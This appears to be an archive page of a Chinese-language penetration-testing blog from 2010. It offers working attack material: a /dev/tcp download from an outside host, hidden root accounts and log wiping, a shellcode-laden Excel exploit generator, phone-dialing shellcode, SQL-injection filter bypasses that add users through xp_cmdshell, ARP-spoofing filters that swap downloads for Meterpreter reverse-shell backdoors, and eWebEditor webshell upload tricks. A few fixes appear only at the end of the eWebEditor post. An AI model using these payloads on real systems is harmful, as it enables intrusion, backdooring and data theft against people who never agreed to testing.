存档

作者存档

linux渗透小技巧

2010年12月29日 没有评论

1.无wget nc等下载工具时下载文件
exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e “GET /c.pl HTTP/1.0\n” >&5 && cat<&5 > c.pl

2.Linux添加uid为0的用户
useradd -o -u 0 cnbird

3.bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null

4.SSH反向链接
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip -p 指定远端服务器SSH端口
然后服务器上执行ssh localhost   -p 44即可

5.weblogic本地读取文件漏洞
curl -H “wl_request_type: wl_xml_entity_request” -H “xml-registryname: ../../” -H “xml-entity-path: config.xml” http://server/wl_management_internal2/wl_management

6.apache查看虚拟web目录
./httpd -t -D DUMP_VHOSTS

7.cvs渗透技巧
CVSROOT/passwd   UNIX SHA1的密码文件
CVSROOT/readers
CVSROOT/writers
CVS/Root  
CVS/Entries     更新的文件和目录内容
CVS/Repository

阅读全文…

分类: 小技巧 标签:

内网渗透中SSh的巧用ring04h

2010年12月29日 没有评论

在渗透测试过程中,经常遇到如下情形,内部网络主机通过路由器或者安全设备做了访问控制,无法通过互联网直接访问本地开放的服务,Windows方 面,国内通常选择Lcx.exe来进行端口转发,在应用方面大多数人也会选择reDuh来进行端口转发,而*nix却很少人用系统自带的ssh、 iptables自身来处理此类问题。
由于时间有限,本文只详细的介绍ssh tunnel方面的知识,iptables的有空在加上。

SSH的三个端口转发命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host

-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。

-p port Connect to this port. Server must be on the same port.
被登录的ssd服务器的sshd服务端口。

阅读全文…

分类: 小技巧 标签:

Microsoft Excel OBJ Record Stack Overflow(CVE-2010-0822)

2010年12月25日 没有评论

microsoft Yahei Mono’, ‘Microsoft Yahei’, sans-serif; white-space: normal; orphans: 2; letter-spacing: normal; color: rgb(0,0,0); word-spacing: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px”>

Title               :  Microsoft Excel OBJ Record Stack Overflow
  Version             :  Excell 2002 and XP (SP3)
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Critical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-0822

 

  • import sys  
  •    
  • def main():  
  •       
  •     try:  
  •         fdR = open('src.xls', 'rb+')  
  •         strTotal = fdR.read()  
  •         str1 = strTotal[:36640]  
  •         str2 = strTotal[37440:]  
  •                    
  •         # shellcode calc.exe  
  •         shellcode = '\x90\x90\x90\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41' 
  •            
  •         if len(shellcode) > 800:  
  •             print "[*] Error : Shellcode length is long"  
  •             return  
  •         if len(shellcode) <= 800:  
  •             dif = 800 - len(shellcode)  
  •             while dif > 0 :  
  •                 shellcode += '\x90'  
  •                 difdif = dif - 1  
  •                    
  •         fdW= open('exploit.xls', 'wb+')  
  •         fdW.write(str1)      
  •         fdW.write(shellcode)  
  •         fdW.write(str2)  
  •            
  •         fdW.close()  
  •         fdR.close()  
  •         print '[-] Excel file generated'  
  •     except IOError:  
  •         print '[*] Error : An IO error has occurred'  
  •         print '[-] Exiting ...'  
  •         sys.exit(-1)  
  •                    
  • if __name__ == '__main__':  
  •     main()  
  • 分类: 默认分类 标签:

    Windows Mobile 6.5 TR Phone Call Shellcode

    2010年12月25日 没有评论
    Title: windows Mobile 6.5 TR Phone Call Shellcode
    Author: Celil Ünüver

     

  • /*  
  •    
  • Device: HTC Touch2  
  • System: Windows Mobile 6.5 TR (WinCE 5.0.2)  
  •    
  • Coded by Celil ‹n¸ver from SecurityArchitect  
  •    
  • Contact:  
  •     celilunuver[n*spam]gmail.com  
  •     www.securityarchitect.org  
  •     blog.securityarchitect.org  
  •    
  •    
  • Notes: thats a PhoneCall Shellcode! Do you remember the time of dialers? Dial-up Modem times? ;)  
  •    
  • now is it the time of mobile dialers and malwares to make $$ ? :)  
  •    
  •    
  •         EXPORT  start  
  •         AREA    .text, CODE  
  • start  
  •         ldr R12, =0x3f6272c  
  •         adr r0, lib  
  •         mov lr, pc  
  •         mov pc, r12  
  •         ldr r12, =0x2e806dc  
  •         adr r0, num  
  •         mov r3, #0  
  •         mov r2, #0  
  •         mov r1, #0  
  •         mov lr, pc  
  •         mov pc, r12  
  •    
  • lib     dcb "c",0,"e",0,"l",0,"l",0,"c",0,"o",0,"r",0,"e",0,0,0,0,0  
  • num     dcb "3",0,"1",0,"3",0,"3",0,"7",0,0,0  
  •         ALIGN  
  •    
  •         END  
  •    
  •  dumpbin /disasm:  
  •    
  • 00011000: E59FC044 ldr       r12, [pc, #0x44]  
  • 00011004: E28F0020 add       r0, pc, #0x20  
  • 00011008: E1A0E00F mov       lr, pc  
  • 0001100C: E1A0F00C mov       pc, r12  
  • 00011010: E59FC038 ldr       r12, [pc, #0x38]  
  • 00011014: E28F0024 add       r0, pc, #0x24  
  • 00011018: E3A03000 mov       r3, #0  
  • 0001101C: E3A02000 mov       r2, #0  
  • 00011020: E3A01000 mov       r1, #0  
  • 00011024: E1A0E00F mov       lr, pc  
  • 00011028: E1A0F00C mov       pc, r12  
  • 0001102C: 00650063 rsbeq     r0, r5, r3, rrx  
  • 00011030: 006C006C rsbeq     r0, r12, r12, rrx  
  • 00011034: 006F0063 rsbeq     r0, pc, r3, rrx  
  • 00011038: 00650072 rsbeq     r0, r5, r2, ror r0  
  • 0001103C: 00000000 andeq     r0, r0, r0  
  • 00011040: 00310033 eoreqs    r0, r1, r3, lsr r0  
  • 00011044: 00330033 eoreqs    r0, r3, r3, lsr r0  
  • 00011048: 00000037 andeq     r0, r0, r7, lsr r0  
  • 0001104C: 03F6272C  
  • 00011050: 02E806DC rsceq     r0, r8, #0xDC, 12  
  •    
  •    
  • "i don't think we have any imperfections; we perfectly are what we are."  
  •    
  • */  
  •    
  • #include <stdio.h> 
  • #include <windows.h> 
  •    
  • int shellcode[] =  
  • {  
  • 0xE59FC044,  
  • 0xE28F0020,  
  • 0xE1A0E00F,  
  • 0xE1A0F00C,  
  • 0xE59FC038,  
  • 0xE28F0024,  
  • 0xE3A03000,  
  • 0xE3A02000,  
  • 0xE3A01000,  
  • 0xE1A0E00F,  
  • 0xE1A0F00C,  
  • 0x00650063,  
  • 0x006C006C,  
  • 0x006F0063,  
  • 0x00650072,  
  • 0x00000000,  
  • 0x00310033,  
  • 0x00330033,  
  • 0x00000037,  
  • 0x03F6272C,  
  • 0x02E806DC,  
  • };  
  •    
  • int WINAPI WinMain( HINSTANCE hInstance,  
  •                     HINSTANCE hPrevInstance,  
  •                     LPTSTR    lpCmdLine,  
  •                     int       nCmdShow)  
  • {  
  •     ((void (*)(void)) & shellcode)();  
  •    
  •     return 0;  
  • }  
  • 分类: 默认分类 标签:

    如何绕过防止注入的技巧方法

    2010年12月21日 没有评论

    突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和 “=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……

    经过我的收集,大部分的防注入程序都过滤了以下关键字:

    and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

    而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。

    对于关键字的过滤,以下是我收集的以及我个人的一些想法。

    1、运用编码技术绕过

    如URLEncode编码,ASCII编码绕过。例如or 1=1即

    %6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

    2、通过空格绕过

    如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如

    or’ swords’ =‘swords’
    ,由于mssql的松散性,我们可以把or ‘swords’ 之间的空格去掉,并不影响运行。

    3、运用字符串判断代替

    用经典的or 1=1判断绕过,如

    or ‘swords’ =’swords’
    ,这个方法就是网上在讨论的。

    4、通过类型转换修饰符N绕过

    可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ‘swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

    5、通过+号拆解字符串绕过

    效果值得考证,但毕竟是一种方法。如

    or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )

    6、通过LIKE绕过

    以前怎么就没想到呢?如or

    ‘swords’ LIKE ‘sw’
    !!!显然可以很轻松的绕过

    “=”“>”
    的限制……

    7、通过IN绕过

    与上面的LIKE的思路差不多,如

    or ‘swords’ IN (‘swords’)

    8、通过BETWEEN绕过

    or ‘swords’ BETWEEN ‘rw’ AND ‘tw’

    9、通过>或者<绕过

    or ‘swords’ > ‘sw’
    or ‘swords’ < ‘tw’
    or 1<3

    ……

    10、运用注释语句绕过

    用/**/代替空格,如:

    UNION /**/ Select /**/user,pwd,from tbluser

    用/**/分割敏感词,如:

    U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

    11、用HEX绕过,一般的IDS都无法检测出来

    0x730079007300610064006D0069006E00 =hex(sysadmin)
    0x640062005F006F0077006E0065007200 =hex(db_owner)

    另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

      declare @a sysname
      select @a=
      exec master.dbo.xp_cmdshell @a

    效果

    http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c00200070006100730073002000

    2f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;–

    其中的

    0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00

    610064006400
    就是

    “net user angel pass /add”
    的意思。

    ——————————————————————

    1、运用编码技术绕过
    如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

    2、通过空格绕过
    如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
    or’ swords’ =‘swords’,由于mssql的松散性,我们可以把or ‘swords’ 之间的空格去掉,并不影响运行。

    3、运用字符串判断代替
    用经典的or 1=1判断绕过,如or ‘swords’ =’swords’,这个方法就是网上在讨论的。

    4、通过类型转换修饰符N绕过
    可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ‘swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

    5、通过+号拆解字符串绕过
    效果值得考证,但毕竟是一种方法。如or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )

    6、通过LIKE绕过
    以前怎么就没想到呢?如or’swords’ LIKE ‘sw’!!!显然可以很轻松的绕过“=”“>”的限制……

    7、通过IN绕过
    与上面的LIKE的思路差不多,如or ‘swords’ IN (‘swords’)

    8、通过BETWEEN绕过
    如or ‘swords’ BETWEEN ‘rw’ AND ‘tw’

    9、通过>或者<绕过
    or ‘swords’ > ‘sw’
    or ‘swords’ < ‘tw’
    or 1<3
    ……

    10、运用注释语句绕过
    用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser
    用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

    11、用HEX绕过,一般的IDS都无法检测出来
    0x730079007300610064006D0069006E00 =hex(sysadmin)
    0x640062005F006F0077006E0065007200 =hex(db_owner)

    分类: 小技巧 标签:

    替换 某固定字符前面的 所有内容

    2010年12月15日 没有评论

    以下语句是替换:”~”前的所有内容

    @echo off
    for /f “tokens=2 delims=~” %%i in (a.txt) do echo %%i>>b.txt
    pause

    删除 某固定字符后面的 所有内容

    @echo off
    for /f “tokens=1 delims=2″ %%i in (1.txt) do echo %%i>>2.txt
    pause

    分类: 小技巧 标签:

    [zz]Have Fun With Ettercap Filter In LAN

    2010年12月12日 没有评论

    From:http://huairen.me/archives/234.html

    作者:Mickey
    前几天pt007 带我去玩,在车上讨论了下内网入侵的思路,当时说到了利用ARP 欺骗加上smbrelay
    来得到主机cmdshell 的方法,又提到了一个当用户通过浏览器下载EXE 文件的时候,利用ARP 欺骗
    把数据流都引到本地,然后替换成我们事先准备好的后门,再转发出去,这样当目标运行了下载的EXE
    后,我们就能得到主机的访问权限了,今天下午正好无事,就找了找资料,测试了下,顺带的也学了
    学Ettercap 的使用。
    一.Ettercap+SMBRELAY
    还是先说一下我的渗透测试平台,我用的是Ubuntu9.04,Ettercap 0.7.3,MetaSploit 3.2,我们先用
    MetaSploit 里的SmbRelay 来监听本地的445,使用之前,如果本地有Samba 服务在运行的话,需要先关闭,否则会造成端口冲突的。首先运行msfconsole,命令如下:

    sudo ./msfconsole
    use exploit/windows/smb/smb_relay
    set PAYLOAD windows/shell_reverse_tcp
    set LHOST 192.168.1.52
    set LPORT 53
    exploit
    这里我选择的payload 是反向连接到本地的53 端口的,运行效果如图:
    接下来,我们编写Ettercap 的Filter,过滤脚本内容如下:
    if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data,”Accept-Encoding”)) {
    replace(“Accept-Encoding”,”Accept-Mousecat”);
    msg(“zapped Accept-Encoding!\n”);
    }
    }
    if (ip.proto == TCP && tcp.src == 80) {
    replace(“</body>”,”<img src=\”\\\\192.168.1.52\\fvck.jpg\“> </body>” “);
    replace(“</Body>”,”<img src=\”\\\\192.168.1.52\\fvck.jpg\“> </body>” “);
    msg(“Filter Ran.\n”);
    }
    Ettercap 的filter 语法规则,可以通过man 8 etterfilter 来查看,我这里说说比较容易出错的地方,if 和
    (之间必须有一个空格,每个if 语句块必须用{}来包含,只要注意这2点,基本上就没什么问题了。
    简单说下这段filter 的含义,第一个if 语句块,如果ip 协议匹配TCP,并且目标端口是80的话,则搜
    索HTTP 数据流的Accept-Encoding,并且替换为Accept-Mousecat,然后在控制台打印一条“zapped
    Accept-Encoding”的消息,这么做的目的,是为了避免目标客户端浏览器像启用了GZIP 这样的数据压
    缩功能。
    第二个if 语句块,如果ip 协议匹配TCP,并且源端口是80的话,则搜索</body>和</Body>关键字,
    并且替换为img,并且把img 的src 属性通过smb 方式指向我们用metasploit smbrelay 监听的445服
    务,最后在控制台上打印”Filter Ran”运行的信息,如果你html 好的话,你也可以自己修改成其他的html
    标签。
    写好以后,用etterfilter 编译一下
    etterfilter smbrelay.filter -o smbrelay.ef
    效果如图:
    接下来使用Ettercap 来进行arp 欺骗,我这里只对内网的192.168.1.67进行ARP 欺骗
    ettercap -T -q -F smbrelay.ef -M ARP /192.168.1.67/ //
    各参数意义如下:
    -T:使用TEXT 模式启动
    -q:启用安静模式
    -F:加载指定的filter
    -M:指定使用ARP 模块
    当192.168.1.67 使用浏览器浏览网页的时候, 他浏览的所有网页里都会被插入<img
    src=\\192.168.1.52\fvck.jpg>,这时候metasploit 也有响应了。我们得到了目标的cmdshell.
    为了验证下,我刚才说的,使用新建立的用户登陆192.168.1.67,看下效果
    当然了,用这个方法,如果有网马的话,也可以直接使用了,也可以进行XSS 攻击。
    二.替换目标下载的exe 文件
    我这里用msfpayload 生成一个反向连接的exe 后门(这里exe 命名成setup.exe/install.exe 的原因是,
    可以绕过vista 的uac,当然是需要管理员2次点击的)
    ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.52 LPORT=8888 X
    >/home/mickey/setup.exe
    然后用msfcli 本地监听8888端口
    ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.52
    LPORT=8888 E
    编写filter 脚本
    if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, “Accept-Encoding”)) {
    replace(“Accept-Encoding”, “Accept-Mousecat”);
    msg(“zapped Accept-Encoding!\n”);
    }
    }
    if (ip.proto == TCP && tcp.src == 80) {
    replace(“keep-alive”, “close” “);
    replace(“Keep-Alive”, “close” “);
    }
    if (ip.proto == TCP && search(DATA.data, “: application”) ){
    msg(“found EXE\n”);
    if (search(DATA.data, “Win32″)) {
    msg(“doing nothing\n”);
    } else {
    replace(“200 OK”, “301 Moved Permanently
    Location: http://www.hackest.cn/tools/setup.exe“);
    msg(“redirect success\n”);
    }
    }
    原理是当目标下载windows 格式的exe 文件时,替换当前页面的http 响应信息202为301,并且重定向
    到我存放木马的地方。
    使用etterfilter 编译一下
    Etterfilter smbrelay.filter -o smbrelay.ef
    加载downexe.ef 过滤器,进行arp 欺骗
    sudo ettercap -T -q -F downexe.ef -M arp /192.168.1.67/ //
    当目标进行网上冲浪,并且下载exe 文件,并运行后,我们就得到主机的权限了,当然我这里做的比
    较粗糙,可以使用绑定器或者winrar 把文件合并起来,并且修改下exe 文件的图标,这样就显的更真
    实了。
    现在登陆192.168.1.67看一下效果,并且做下验证
    详细的过程,可以通过wireshark 抓包看的很详细
    文章写的仓促,有错误的地方,和有好的思路的同学,可以联系我一起交流。

    分类: 渗透测试 标签:

    Mssql显错和不显错模式下的注入

    2010年12月12日 没有评论

    Mssql注释符:
    #      - -

    显错模式的:

    判断是否支持多行
    ;declare @x int–

    查看当前数据库版本
    URL?id=13 and @@version>0–

    查看当前连接数据库用户
    URL?id=13 and user>0–

    查看当前数据库名
    URL?id=13 and db_name()>0–

    爆数据库名
    URL?id=13 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))–

    //dbid<7的为系统库名

    爆当前数据库表名
    URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=’U’))–
    URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=’U’ and name not in (‘表名1′,’表名2′)))–

    爆其他数据库表名
    URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype=’u’ ))–
    URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype=’u’ and name not in (‘表名1′,’表名2′)))–

    爆字段名
    URL?id=13 having 1=1–
    URL?id=13 group by 表名.字段名1,字段名2 having 1=1–

    爆其他表的字段名
    URL?id=13 select * from 表名 having 1=1–
    URL?id=13 select * from 表名 group by 表名.字段名1,字段名2 having 1=1–

    爆数据
    URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名))–
    URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名 where 字段名 not in (‘数据1′,’数据2′))–
    URL?id=13 and 1=convert(int,(select top1 字段名 from 表名 where 字段名!=’数据1′ and 字段名!=’数据2′–
    //也可以用where语句

    不显错模式

    URL?id=13 order by 字段数
    URL?id=13 and 1=2 union select ?,?,?,?,?–

    查询数据库版本和系统版本
    URL?id=13 and 1=2 union select ?,?,?,@@version–

    查询数据库用户名
    URL?id=13 and 1=2 union select ?,?,?,(select user)–
    URL?id=13 and 1=2 union select ?,?,?,(select system_user)–

    查询主机名
    URL?id=13 and 1=2 union select ?,?,?,(select host_name())–

    查询数据库名
    URL?id=13 and 1=2 union select ?,?,?,(select db_name())–

    判断存储扩展xp_cmdshell
    URL?id=13 and 1=2 union select ?,?,?,(select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’)–
    //1为存在,0为不存在

    判断当前数据库用户权限
    URL?id=13 and 1=2 union select ?,?,?,(select is_srvrolemember(‘sysadmin’))–

    查询数据库名
    URL?id=13 and 1=2 union select ?,?,?(select name from master.dbo.sysdatabases where dbid=7)–
    //dbid<7的为系统数据库名

    查询数据库表名
    URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=’U’)–
    URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=’U’ and name not in (‘表名1′,’表名2′))–

    查询字段名
    URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id(‘表名’)–
    URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id(‘表名’) and name not in(‘字段名1′,’字段名2′)–

    查询数据
    URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名)–
    URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名 where 字段名 not in (‘数据1′,’数据2′)–

    其他的语句

    爆表名
    URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=’u’ and name not in(select top 0 name from sysobjects where xtype=’u’)) from sysobjects–
    //接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了

    爆其他数据库表名
    URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from [数据库名]..sysobjects where xtype=’u’ and name not in(select top 0 name from [数据库名]..sysobjects where xtype=’u’)

    爆字段
    URL?id=13 and 1=2 union select ?,?,?(select top 1 name from syscolumns where id in (select id from sysobjects where name=’表名’) and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name=’表名’))) from sysobjects–
    //从0开始增加第二个top N的数字就可以遍历admin表的字段名了

    查询数据

    URL?id=13 URL?id=13 and 1=2 union select top 1 ?,?,字段名 from 表名 where name not in (select top 0 name from 表名)–

    http://hi.baidu.com/yanyueoo7/blog/item/1760e3c65ee6ba5ab219a827.html

    Ewebeditor/ASP/ASPX/PHP各版本漏洞

    2010年12月12日 没有评论

    来源: http://www.cnredhat.com/?action=show&id=9

    eWebEditorTM 是什么? 在线HTML编辑器!
    eWebEditor 是基于浏览器的、所见即所得的在线HTML编辑器。她能够在网页上实现许多桌面编辑软件(如:Word)所具有的强大可视编辑功能。WEB开发人员可以用她把传统的多行文本输入框<TEXTAREA>替换为可视化的富文本输入框,使最终用户可以可视化的发布HTML格式的网页内容。 eWebEditor!已基本成为网站内容管理发布的必备工具!

    如果有兴趣的话去官方了解详情:http://www.ewebeditor.net/

    先说重点吧,这个编辑器按脚本分主要有3个版本,ASP/ASPX/PHP/ 每个版本都可以利用的

    先说下FCKeditor的:

    /admin/FCKeditor/editor/filemanager/browser/default/browser.html?type=image&connector=connectors/asp/connector.asp

    可建目录。

    ASP版:

    这个版本其实个人感觉是影响最大,使用最多的一个了吧,早期很多asp站都用这个,当然现在也是大量的存在的。。。

    怎么利用呢?一般用这个的默认后台的URL都是默认的:

    www.xxx.com/admin/ewebeditor/admin_login.asp

    而且账户和密码也基本都是默认的:admin admin

    对于找这个路径还有个简单的方法,就是在他站上新闻或者其他板块上找图片,看图片的URL也是可以找到的,不明白的自己试下就知道了

    还有如果默认的账户和密码修改了,我们可以下载他的数据库,然后本地破解MD5了

    默认数据库:

    …/db/ewebeditor.mdb 或者 …/db/ewebeditor.asp

    一般下载数据库后打开察看就可以了,然后后台登陆,新加样式。。。上传ASA马。。。

    有的站数据库设置了只读属性,这样的站你是无法新加样式的,这样的站你可以看他数据库里的样式设置情况,一般很多时候都是让人给拿过的,而且明显的asa在那里。。。呵呵,这样的话就可以直接构造一个调用这个样式的连接来上传shell

    比如发现数据库里有样式 123 他设置的是可以上传asa的话

    那么就可以这样调用:

    http://www.xxx.com/eWeb/eWebEditor.asp?id=contentCN&style=123

    这样就可以直接上传了,然后在点“编辑”就会找到shell的路径了

    其实这个漏洞主要是upload.asp的过滤不严造成的,新版的应该都修复了,具体受影响的版本我也没统计过

    另外在公布另外一个ewebeditor的漏洞

    漏洞文件:Admin_Private.asp
    漏洞语句:

    <%

    If Session(“eWebEditor_User”) = “” Then
    Response.Redirect “admin_login.asp”
    Response.End
    End If

    只判断了session,没有判断cookies和路径的验证问题。
    漏洞利用:
    新建一个mrchen.asp内容如下:
    <%Session(“eWebEditor_User”) = “11111111″%>
    访问mrchen.asp,再访问后台任何文件,for example:Admin_Default.asp

    这个拿shell的方法就简单了,不详细说了

    ASPX版:

    受影响文件:eWebEditorNet/upload.aspx

    利用方法:添好本地的cer的Shell文件。在浏揽器输入javascript:lbtnUpload.click();就能得到shell,具体大家自己尝试,不明白的联系我,或者留言

    /ftb.imagegallery.aspx?frame=1&rif=..&cif=\..\..\..\..\..\..\.. 可以浏览目录。
    PHP版

    关于eWebEditor 漏洞php版本的和asp的一样。有目录浏览。和编辑扩展名。重点在于虽然支持了php格式但上传还是上传不了。不过利用织梦的gif89a漏洞倒可以实现php一句话上传,然后再上传webshell。

    备注:织梦的gif89a漏洞,准确来说应该是DEDECMS中所用的php版的FCKeditor存在上传漏洞,gif89a文件头欺骗。DEDECMS中在上传拖上没有对picSubmit进行任何处理。但是却不能直接上传php马。因为会识别。使用修改过的php小马。

    gif89a

    <?php

    phpinfo();

    ?>

    RFI

    gif89a

    <?php

    eval($_POST[c]);

    ?>

    利用gif89a进行了欺骗。现在上传就可以成功了.然后有php一句话客户端连接.
    JSP版
    上传漏洞

    影响版本:漏洞存在于ewebeditor jsp版 1.4以下版本,漏洞有两个版本。

    原理:第一个是使用savefile.jsp来进行文件上传操作的,从代码中可以看出,程序并没做任何上传过滤,这样我们就可以直接上传一个JSPShell了。另一个版本可能是被人修改过,把代码转成了servlet,不能看到代码,但是利用方法却大同小异。

    利用方法:我们先找一个1.4版本以下的ewebeditor JSP上传页面,选择好一个JSPShell。这个ewebeditor是没有提交按钮的,所以这里涉及到一个小技巧,就是在上传的对话框中敲下回车,大约过半分钟,就可以查看网页的源文件来寻找我们的Webshell了。
    解决方法

    1.修改admin密码;

    2.upload.asp中的:

    “任何情況下都不允许上传asp脚本文件sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)

    改为:

    “任何情況下都不允许上传asp脚本文件

    sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)

    sAllowExt = Replace(UCase(sAllowExt), “ASA”, “”)

    sAllowExt = Replace(UCase(sAllowExt), “CER”, “”)

    sAllowExt = Replace(UCase(sAllowExt), “AASPSP”, “”)

    sAllowExt = Replace(UCase(sAllowExt), “CDX”, “”)

    sAllowExt = Replace(UCase(sAllowExt), “HTR”, “”)

    3. Admin_Private.asp:

    If Session(”eWebEditor_User”) = “” Then

    Response. Redirect “admin_login.asp”

    Response. End

    End If

    改为:

    If Session(”eWebEditor_User”) = “” and IsSelfRefer() Then

    Response.Redirect “admin_login.asp”

    Response.End

    End If

    4.将db/ewebeditor.mdb数据库文件名改为其他包含#等字符的文件名;

    5. 将IIS中的“应用文件映射”中的“asp”删除;

    6. 仍有问题删除admin_login.asp文件。

    Tags: ewebeditor, asp, php, aspx, jsp

    分类: 小技巧 标签:

    Linux渗透技巧+实战

    2010年12月7日 没有评论

    一.ldap渗透技巧
    1.cat /etc/nsswitch
    看看密码登录策略我们可以看到使用了file ldap模式

    2.less /etc/ldap.conf
    base ou=People,dc=unix-center,dc=net
    找到ou,dc,dc设置

    3.查找管理员信息
    匿名方式
    ldapsearch -x -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2
    有密码形式
    ldapsearch -x -W -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2

    4.查找10条用户记录
    ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

    实战:
